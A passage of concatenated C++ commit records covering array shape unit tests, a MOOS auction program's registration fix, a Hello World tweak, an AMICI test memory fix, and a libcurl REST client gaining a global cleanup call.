ASSERT_EQ(s(), 0);
}
TEST(shape_1d) {
for (int stride : {1, 2, 10}) {
dim<> x(0, 10, stride);
auto s = make_shape(x);
for (int i : x) {
ASSERT_EQ(s(i), i * stride);
}
}
}
TEST(shape_1d_dense) {
dense_dim<> x(0, 10);
auto s = make_shape(x);
for (int i : x) {
ASSERT_EQ(s(i), i);
}
}
TEST(shape_2d) {
dense_dim<> x(0, 10);
dim<> y(0, 5, x.extent());
auto s = make_shape(x, y);
for (int i : y) {
for (int j : x) {
ASSERT_EQ(s(j, i), i * x.extent() + j);
}
}
}
TEST(make_dense_shape_1d) {
dense_shape<1> s = make_dense_shape(10);
dense_dim<> x = s.template dim<0>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
}
TEST(make_dense_shape_2d) {
dense_shape<2> s(10, 5);
dense_dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 5);
ASSERT_EQ(y.stride(), 10);
}
TEST(make_dense_shape_3d) {
dense_shape<3> s(10, 5, 20);
dense_dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
dim<> z = s.template dim<2>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 5);
ASSERT_EQ(y.stride(), 10);
ASSERT_EQ(z.min(), 0);
ASSERT_EQ(z.extent(), 20);
ASSERT_EQ(z.stride(), 50);
}
TEST(auto_strides) {
shape_of_rank<3> s(10, 20, 3);
dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
dim<> z = s.template dim<2>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 20);
ASSERT_EQ(y.stride(), 10);
ASSERT_EQ(z.min(), 0);
ASSERT_EQ(z.extent(), 3);
ASSERT_EQ(z.stride(), 200);
}
TEST(auto_strides_interleaved) {
shape<dim<>, dim<>, dense_dim<>> s(10, 20, 3);
dim<> x = s.template dim<0>();
dim<> y = s.template dim<1>();
auto z = s.template dim<2>();
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 3);
ASSERT_EQ(y.min(), 0);
ASSERT_EQ(y.extent(), 20);
ASSERT_EQ(y.stride(), 30);
ASSERT_EQ(z.min(), 0);
ASSERT_EQ(z.extent(), 3);
ASSERT_EQ(z.stride(), 1);
}
TEST(folded_dim) {
dim<> x(0, 10, 1);
folded_dim<> y(4, 10);
auto s = make_shape(x, y);
for (int i = 0; i < 10; i++) {
for (int j : x) {
ASSERT_EQ(s(j, i), (i % 4) * 10 + j);
}
}
}
TEST(broadcast_dim) {
dim<> x(0, 10, 1);
broadcast_dim<> y;
auto s = make_shape(x, y);
for (int i = 0; i < 10; i++) {
for (int j : x) {
ASSERT_EQ(s(j, i), j);
}
}
}
TEST(clamp) {
dim<> x(5, 10, 1);
for (int i = -10; i < 20; i++) {
int correct = std::max(std::min(i, 14), 5);
ASSERT(clamp(i, x) == correct);
}
}
TEST(for_all_indices_1d) {
dense_shape<1> s = make_dense_shape(20);
int expected_flat_offset = 0;
for_all_indices(s, [&](int x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_all_indices loop above actually ran.
ASSERT_EQ(expected_flat_offset, 20);
}
TEST(for_all_indices_2d) {
dense_shape<2> s(10, 4);
int expected_flat_offset = 0;
for_all_indices(s, [&](int x, int y) {
ASSERT_EQ(s(x, y), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_all_indices loop above actually ran.
ASSERT_EQ(expected_flat_offset, 40);
}
TEST(for_all_indices_3d) {
dense_shape<3> s(3, 5, 8);
int expected_flat_offset = 0;
for_all_indices(s, [&](int x, int y, int z) {
ASSERT_EQ(s(x, y, z), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_all_indices loop above actually ran.
ASSERT_EQ(expected_flat_offset, 120);
}
TEST(for_each_index_1d) {
dense_shape<1> s = make_dense_shape(20);
int expected_flat_offset = 0;
for_each_index(s, [&](std::tuple<int> x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 20);
}
TEST(for_each_index_2d) {
dense_shape<2> s(10, 4);
int expected_flat_offset = 0;
for_each_index(s, [&](std::tuple<int, int> x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 40);
}
TEST(for_each_index_3d) {
dense_shape<3> s(3, 5, 8);
int expected_flat_offset = 0;
for_each_index(s, [&](std::tuple<int, int, int> x) {
ASSERT_EQ(s(x), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 120);
}
TEST(dim_is_in_range) {
dim<> x(2, 5);
for (int i = 2; i < 7; i++) {
ASSERT(x.is_in_range(i));
}
ASSERT(!x.is_in_range(1));
ASSERT(!x.is_in_range(8));
}
TEST(shape_is_in_range_1d) {
dim<> x(2, 5);
auto s = make_shape(x);
for (int i = 2; i < 7; i++) {
ASSERT(s.is_in_range(i));
}
ASSERT(!s.is_in_range(1));
ASSERT(!s.is_in_range(8));
}
TEST(shape_is_in_range_2d) {
dim<> x(2, 5);
dim<> y(-3, 6);
auto s = make_shape(x, y);
for (int i = -3; i < 3; i++) {
for (int j = 2; j < 7; j++) {
ASSERT(s.is_in_range(j, i));
}
}
ASSERT(!s.is_in_range(1, 0));
ASSERT(!s.is_in_range(2, -4));
ASSERT(!s.is_in_range(8, 0));
ASSERT(!s.is_in_range(2, 4));
}
TEST(shape_conversion) {
dense_dim<> x_dense(0, 10);
dim<> x = x_dense;
ASSERT_EQ(x.min(), 0);
ASSERT_EQ(x.extent(), 10);
ASSERT_EQ(x.stride(), 1);
// TODO: Enabling this leads to lots of overload ambiguity.
//dense_shape<2> static_dense(dense_dim<>(0, 10), dim<>(1, 5));
//shape_of_rank<2> dense = static_dense;
}
TEST(shape_transpose) {
dense_shape<3> s(3, 5, 8);
auto transposed = transpose<1, 2, 0>(s);
ASSERT_EQ(transposed.template dim<0>().extent(), 5);
ASSERT_EQ(transposed.template dim<1>().extent(), 8);
ASSERT_EQ(transposed.template dim<2>().extent(), 3);
shape<dim<>, dim<>, dense_dim<>> interleaved(3, 5, 4);
ASSERT(interleaved.is_dense());
int expected_flat_offset = 0;
for_all_indices(transpose<2, 0, 1>(interleaved), [&](int c, int x, int y) {
ASSERT_EQ(interleaved(x, y, c), expected_flat_offset);
expected_flat_offset++;
});
// Ensure the for_each_index loop above actually ran.
ASSERT_EQ(expected_flat_offset, 60);
}
} // namespace array
<|endoftext|>
|
<commit_before>/**
* @author Mike Bogochow
* @version 2.4.0, Dec 8, 2015
*
* @file Auctioneer.cpp
*
* Auctioneer class implementation
*/
#include "Auctioneer.h"
#include "../lib_graphs/defs.h"
#include "../lib_auction/AuctionDefs.h"
#include "../lib_auction/DebugPrinter.h"
#include "MBUtils.h"
#include <boost/algorithm/string/predicate.hpp> // starts_with
#include <boost/lexical_cast.hpp>
Auctioneer::Auctioneer(void)
{
m_iterations = 0;
roundNumber = 0;
numberOfBidders = -1;
bids = nullptr;
numReceivedBids = 0;
}
Auctioneer::~Auctioneer(void)
{
if (bids != nullptr)
delete bids;
}
bool
Auctioneer::OnNewMail(MOOSMSG_LIST &NewMail)
{
bool ret = AuctionMOOSApp::OnNewMail(NewMail);
dp.dprintf(LVL_MID_VERB, "roundNum < numNodes (%lu < %lu)?\n", roundNumber, __num_nodes);
if (roundNumber < __num_nodes) //TODO come up with better solution of stopping auctioneer
{
MOOSMSG_LIST::reverse_iterator p;
for(p = NewMail.rbegin(); p!=NewMail.rend(); p++)
{
CMOOSMsg &msg = *p;
std::string key = msg.GetKey();
if (boost::starts_with(key, MVAR_BID_HEADER))
{
int bidder = getBidder(key);
bids[bidder] = bidFromString(msg.GetString());
numReceivedBids += 1;
}
}
}
return ret;
}
bool
Auctioneer::Iterate(void)
{
bool ret = AuctionMOOSApp::Iterate();
dp.dprintf(LVL_MID_VERB, "roundNum < numNodes (%lu < %lu)?\n", roundNumber, __num_nodes);
if (roundNumber < __num_nodes) //TODO come up with better solution of stopping auctioneer
{
if (roundNumber == 0)
doNotify(MVAR_BID_START, ++roundNumber);
else if (numReceivedBids == numberOfBidders)
{ // All bids received for round
WinningBid winner = { 0, MAX_VERTEX, MAX_WEIGHT };
// Calculate winner
for (int i = 0; i < numberOfBidders; i++)
{
if (bids[i].second < winner.bid)
{
winner.winner = i;
winner.target = bids[i].first;
winner.bid = bids[i].second;
}
}
// Send winner
doNotify(MVAR_BID_WINNER, winningBidToString(winner));
doNotify(MVAR_BID_START, ++roundNumber);
numReceivedBids = 0;
}
}
return ret;
}
bool
Auctioneer::OnStartUp(void)
{
bool ret;
// Read the DebugOutput configuration field
int debugLevel;
if (!m_MissionReader.GetConfigurationParam("DebugOutput", debugLevel))
debugLevel = LVL_OFF;
dp.setLevel((DebugLevel)debugLevel);
ret = AuctionMOOSApp::OnStartUp();
if (!m_MissionReader.GetConfigurationParam("NumBidders", numberOfBidders))
{
MOOSTrace("Warning: parameter 'NumBidders' not specified.\n");
MOOSTrace("Terminating\n");
exit(-1);
}
else
this->bids = new Bid[numberOfBidders];
return ret;
}
bool
Auctioneer::OnConnectToServer(void)
{
bool ret = AuctionMOOSApp::OnConnectToServer();
RegisterVariables();
return ret;
}
void
Auctioneer::RegisterVariables(void)
{
for (int i = 0; i < numberOfBidders; i++)
m_Comms.Register(MVAR_BID_HEADER + intToString(i + 1), 0);
}
<commit_msg>Fixed auctioneer registration<commit_after>/**
* @author Mike Bogochow
* @version 2.4.0, Dec 8, 2015
*
* @file Auctioneer.cpp
*
* Auctioneer class implementation
*/
#include "Auctioneer.h"
#include "../lib_graphs/defs.h"
#include "../lib_auction/AuctionDefs.h"
#include "../lib_auction/DebugPrinter.h"
#include "MBUtils.h"
#include <boost/algorithm/string/predicate.hpp> // starts_with
#include <boost/lexical_cast.hpp>
Auctioneer::Auctioneer(void)
{
m_iterations = 0;
roundNumber = 0;
numberOfBidders = -1;
bids = nullptr;
numReceivedBids = 0;
}
Auctioneer::~Auctioneer(void)
{
if (bids != nullptr)
delete bids;
}
bool
Auctioneer::OnNewMail(MOOSMSG_LIST &NewMail)
{
bool ret = AuctionMOOSApp::OnNewMail(NewMail);
dp.dprintf(LVL_MID_VERB, "roundNum < numNodes (%lu < %lu)?\n", roundNumber, __num_nodes);
if (roundNumber < __num_nodes) //TODO come up with better solution of stopping auctioneer
{
MOOSMSG_LIST::reverse_iterator p;
for(p = NewMail.rbegin(); p!=NewMail.rend(); p++)
{
CMOOSMsg &msg = *p;
std::string key = msg.GetKey();
if (boost::starts_with(key, MVAR_BID_HEADER))
{
int bidder = getBidder(key);
bids[bidder] = bidFromString(msg.GetString());
numReceivedBids += 1;
}
}
}
return ret;
}
bool
Auctioneer::Iterate(void)
{
bool ret = AuctionMOOSApp::Iterate();
dp.dprintf(LVL_MID_VERB, "roundNum < numNodes (%lu < %lu)?\n", roundNumber, __num_nodes);
if (roundNumber < __num_nodes) //TODO come up with better solution of stopping auctioneer
{
if (roundNumber == 0)
doNotify(MVAR_BID_START, ++roundNumber);
else if (numReceivedBids == numberOfBidders)
{ // All bids received for round
WinningBid winner = { 0, MAX_VERTEX, MAX_WEIGHT };
// Calculate winner
for (int i = 0; i < numberOfBidders; i++)
{
if (bids[i].second < winner.bid)
{
winner.winner = i;
winner.target = bids[i].first;
winner.bid = bids[i].second;
}
}
// Send winner
doNotify(MVAR_BID_WINNER, winningBidToString(winner));
doNotify(MVAR_BID_START, ++roundNumber);
numReceivedBids = 0;
}
}
return ret;
}
bool
Auctioneer::OnStartUp(void)
{
bool ret;
// Read the DebugOutput configuration field
int debugLevel;
if (!m_MissionReader.GetConfigurationParam("DebugOutput", debugLevel))
debugLevel = LVL_OFF;
dp.setLevel((DebugLevel)debugLevel);
ret = AuctionMOOSApp::OnStartUp();
if (!m_MissionReader.GetConfigurationParam("NumBidders", numberOfBidders))
{
MOOSTrace("Warning: parameter 'NumBidders' not specified.\n");
MOOSTrace("Terminating\n");
exit(-1);
}
else
this->bids = new Bid[numberOfBidders];
return ret;
}
bool
Auctioneer::OnConnectToServer(void)
{
bool ret = AuctionMOOSApp::OnConnectToServer();
RegisterVariables();
return ret;
}
void
Auctioneer::RegisterVariables(void)
{
for (int i = 0; i < numberOfBidders; i++)
m_Comms.Register(getBidVar(i), 0);
}
<|endoftext|>
|
<commit_before>#include <iostream>
int main()
{
std::cout << "Hello, World!" << std::endl;
return 0;
}
<commit_msg>Change std::endl to \n<commit_after>#include <iostream>
int main()
{
std::cout << "Hello, World!\n";
return 0;
}
<|endoftext|>
|
<commit_before>#include "CppUTest/TestHarness.h"
#include "CppUTestExt/MockSupport.h"
#include <testfunctions.h>
#include <include/amici_hdf5.h>
#include <include/amici_interface_cpp.h>
#include <cstring>
#include "wrapfunctions.h"
TEST_GROUP(groupDirac)
{
void setup() {
}
void teardown() {
}
};
amici::UserData *getTestUserData() {
amici::UserData *udata = new amici::UserData(2,1,3);
double par[2] = {1,3};
double konst[1] = {1};
udata->setParameters(par);
udata->setConstants(konst);
return udata;
}
/*
* Test for mem leaks in UserData initalization / destruction
*/
TEST(groupDirac, testCreateAndFreeUserData) {
amici::UserData *udata = getTestUserData();
delete udata;
}
/*
* Test for mem leaks in ExpData initalization / destruction
*/
TEST(groupDirac, testCreateAndFreeExpData) {
amici::UserData *udata = getTestUserData();
amici:: Model *model = getModel(udata);
amici::ExpData *edata = getTestExpData(udata, model);
delete model;
delete edata;
delete udata;
}
/*
* Test for mem leaks in ReturnData initalization / destruction
*/
TEST(groupDirac, testCreateAndFreeReturnData) {
amici::UserData *udata = getTestUserData();
amici::Model *model = getModel(udata);
amici::ReturnData *rdata = new amici::ReturnData(udata, model);
delete model;
delete udata;
delete rdata;
}
TEST(groupDirac, testSimulation) {
amici::simulateAndVerifyFromFile("/model_dirac/nosensi/");
}
TEST(groupDirac, testSimulationExpData) {
}
TEST(groupDirac, testSensitivityForward) {
amici::simulateAndVerifyFromFile("/model_dirac/sensiforward/");
}
TEST(groupDirac, testSensitivityState) {
}
TEST(groupDirac, testSensitivityAdjoint) {
}
<commit_msg>fix bad memory access in test<commit_after>#include "CppUTest/TestHarness.h"
#include "CppUTestExt/MockSupport.h"
#include <testfunctions.h>
#include <include/amici_hdf5.h>
#include <include/amici_interface_cpp.h>
#include <cstring>
#include "wrapfunctions.h"
TEST_GROUP(groupDirac)
{
void setup() {
}
void teardown() {
}
};
amici::UserData *getTestUserData() {
int nx, nk, np;
getModelDims(&nx,&nk,&np);
amici::UserData *udata = new amici::UserData(np,nk,nx);
double par[np];
double konst[nk];
memset(par,0,np*sizeof(double));
memset(konst,0,nk*sizeof(double));
udata->setParameters(par);
udata->setConstants(konst);
return udata;
}
/*
* Test for mem leaks in UserData initalization / destruction
*/
TEST(groupDirac, testCreateAndFreeUserData) {
amici::UserData *udata = getTestUserData();
delete udata;
}
/*
* Test for mem leaks in ExpData initalization / destruction
*/
TEST(groupDirac, testCreateAndFreeExpData) {
amici::UserData *udata = getTestUserData();
amici:: Model *model = getModel(udata);
amici::ExpData *edata = getTestExpData(udata, model);
delete model;
delete edata;
delete udata;
}
/*
* Test for mem leaks in ReturnData initalization / destruction
*/
TEST(groupDirac, testCreateAndFreeReturnData) {
amici::UserData *udata = getTestUserData();
amici::Model *model = getModel(udata);
amici::ReturnData *rdata = new amici::ReturnData(udata, model);
delete model;
delete udata;
delete rdata;
}
TEST(groupDirac, testSimulation) {
amici::simulateAndVerifyFromFile("/model_dirac/nosensi/");
}
TEST(groupDirac, testSimulationExpData) {
}
TEST(groupDirac, testSensitivityForward) {
amici::simulateAndVerifyFromFile("/model_dirac/sensiforward/");
}
TEST(groupDirac, testSensitivityState) {
}
TEST(groupDirac, testSensitivityAdjoint) {
}
<|endoftext|>
|
<commit_before>/**
* @file restclient.cpp
* @brief implementation of the restclient class
* @author Daniel Schauenberg <d@unwiredcouch.com>
*/
/*========================
INCLUDES
========================*/
#include "include/restclient.h"
#include <cstring>
#include <string>
#include <iostream>
#include <map>
/** initialize user agent string */
const char* RestClient::user_agent = "restclient-cpp/" VERSION;
/** initialize authentication variable */
std::string RestClient::user_pass = std::string();
/** Authentication Methods implementation */
void RestClient::clearAuth(){
RestClient::user_pass.clear();
}
void RestClient::setAuth(const std::string& user,const std::string& password){
RestClient::user_pass.clear();
RestClient::user_pass += user+":"+password;
}
/**
* @brief HTTP GET method
*
* @param url to query
*
* @return response struct
*/
RestClient::response RestClient::get(const std::string& url)
{
/** create return struct */
RestClient::response ret = {};
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_easy_cleanup(curl);
}
return ret;
}
/**
* @brief HTTP POST method
*
* @param url to query
* @param ctype content type as string
* @param data HTTP POST body
*
* @return response struct
*/
RestClient::response RestClient::post(const std::string& url,
const std::string& ctype,
const std::string& data)
{
/** create return struct */
RestClient::response ret = {};
/** build content-type header string */
std::string ctype_header = "Content-Type: " + ctype;
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** Now specify we want to POST data */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
/** set post fields */
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, data.size());
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** set content-type header */
curl_slist* header = NULL;
header = curl_slist_append(header, ctype_header.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_slist_free_all(header);
curl_easy_cleanup(curl);
}
return ret;
}
/**
* @brief HTTP PUT method
*
* @param url to query
* @param ctype content type as string
* @param data HTTP PUT body
*
* @return response struct
*/
RestClient::response RestClient::put(const std::string& url,
const std::string& ctype,
const std::string& data)
{
/** create return struct */
RestClient::response ret = {};
/** build content-type header string */
std::string ctype_header = "Content-Type: " + ctype;
/** initialize upload object */
RestClient::upload_object up_obj;
up_obj.data = data.c_str();
up_obj.length = data.size();
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** Now specify we want to PUT data */
curl_easy_setopt(curl, CURLOPT_PUT, 1L);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
/** set read callback function */
curl_easy_setopt(curl, CURLOPT_READFUNCTION, RestClient::read_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_READDATA, &up_obj);
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** set data size */
curl_easy_setopt(curl, CURLOPT_INFILESIZE,
static_cast<long>(up_obj.length));
/** set content-type header */
curl_slist* header = NULL;
header = curl_slist_append(header, ctype_header.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_slist_free_all(header);
curl_easy_cleanup(curl);
}
return ret;
}
/**
* @brief HTTP DELETE method
*
* @param url to query
*
* @return response struct
*/
RestClient::response RestClient::del(const std::string& url)
{
/** create return struct */
RestClient::response ret = {};
/** we want HTTP DELETE */
const char* http_delete = "DELETE";
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** set HTTP DELETE METHOD */
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, http_delete);
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_easy_cleanup(curl);
}
return ret;
}
/**
* @brief write callback function for libcurl
*
* @param data returned data of size (size*nmemb)
* @param size size parameter
* @param nmemb memblock parameter
* @param userdata pointer to user data to save/work with return data
*
* @return (size * nmemb)
*/
size_t RestClient::write_callback(void *data, size_t size, size_t nmemb,
void *userdata)
{
RestClient::response* r;
r = reinterpret_cast<RestClient::response*>(userdata);
r->body.append(reinterpret_cast<char*>(data), size*nmemb);
return (size * nmemb);
}
/**
* @brief header callback for libcurl
*
* @param data returned (header line)
* @param size of data
* @param nmemb memblock
* @param userdata pointer to user data object to save headr data
* @return size * nmemb;
*/
size_t RestClient::header_callback(void *data, size_t size, size_t nmemb,
void *userdata)
{
RestClient::response* r;
r = reinterpret_cast<RestClient::response*>(userdata);
std::string header(reinterpret_cast<char*>(data), size*nmemb);
size_t seperator = header.find_first_of(":");
if ( std::string::npos == seperator ) {
//roll with non seperated headers...
trim(header);
if ( 0 == header.length() ){
return (size * nmemb); //blank line;
}
r->headers[header] = "present";
} else {
std::string key = header.substr(0, seperator);
trim(key);
std::string value = header.substr(seperator + 1);
trim (value);
r->headers[key] = value;
}
return (size * nmemb);
}
/**
* @brief read callback function for libcurl
*
* @param pointer of max size (size*nmemb) to write data to
* @param size size parameter
* @param nmemb memblock parameter
* @param userdata pointer to user data to read data from
*
* @return (size * nmemb)
*/
size_t RestClient::read_callback(void *data, size_t size, size_t nmemb,
void *userdata)
{
/** get upload struct */
RestClient::upload_object* u;
u = reinterpret_cast<RestClient::upload_object*>(userdata);
/** set correct sizes */
size_t curl_size = size * nmemb;
size_t copy_size = (u->length < curl_size) ? u->length : curl_size;
/** copy data to buffer */
memcpy(data, u->data, copy_size);
/** decrement length and increment data pointer */
u->length -= copy_size;
u->data += copy_size;
/** return copied size */
return copy_size;
}
<commit_msg>call curl_global_cleanup() also when cleaning up curl<commit_after>/**
* @file restclient.cpp
* @brief implementation of the restclient class
* @author Daniel Schauenberg <d@unwiredcouch.com>
*/
/*========================
INCLUDES
========================*/
#include "include/restclient.h"
#include <cstring>
#include <string>
#include <iostream>
#include <map>
/** initialize user agent string */
const char* RestClient::user_agent = "restclient-cpp/" VERSION;
/** initialize authentication variable */
std::string RestClient::user_pass = std::string();
/** Authentication Methods implementation */
void RestClient::clearAuth(){
RestClient::user_pass.clear();
}
void RestClient::setAuth(const std::string& user,const std::string& password){
RestClient::user_pass.clear();
RestClient::user_pass += user+":"+password;
}
/**
* @brief HTTP GET method
*
* @param url to query
*
* @return response struct
*/
RestClient::response RestClient::get(const std::string& url)
{
/** create return struct */
RestClient::response ret = {};
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_easy_cleanup(curl);
curl_global_cleanup();
}
return ret;
}
/**
* @brief HTTP POST method
*
* @param url to query
* @param ctype content type as string
* @param data HTTP POST body
*
* @return response struct
*/
RestClient::response RestClient::post(const std::string& url,
const std::string& ctype,
const std::string& data)
{
/** create return struct */
RestClient::response ret = {};
/** build content-type header string */
std::string ctype_header = "Content-Type: " + ctype;
// use libcurl
CURL *curl = NULL;
CURLcode res = CURLE_OK;
curl = curl_easy_init();
if (curl)
{
/** set basic authentication if present*/
if(RestClient::user_pass.length()>0){
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_easy_setopt(curl, CURLOPT_USERPWD, RestClient::user_pass.c_str());
}
/** set user agent */
curl_easy_setopt(curl, CURLOPT_USERAGENT, RestClient::user_agent);
/** set query URL */
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
/** Now specify we want to POST data */
curl_easy_setopt(curl, CURLOPT_POST, 1L);
/** set post fields */
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, data.size());
/** set callback function */
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, RestClient::write_callback);
/** set data object to pass to callback function */
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &ret);
/** set the header callback function */
curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, RestClient::header_callback);
/** callback object for headers */
curl_easy_setopt(curl, CURLOPT_HEADERDATA, &ret);
/** set content-type header */
curl_slist* header = NULL;
header = curl_slist_append(header, ctype_header.c_str());
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
/** perform the actual query */
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
ret.body = "Failed to query.";
ret.code = -1;
return ret;
}
long http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
ret.code = static_cast<int>(http_code);
curl_slist_free_all(header);
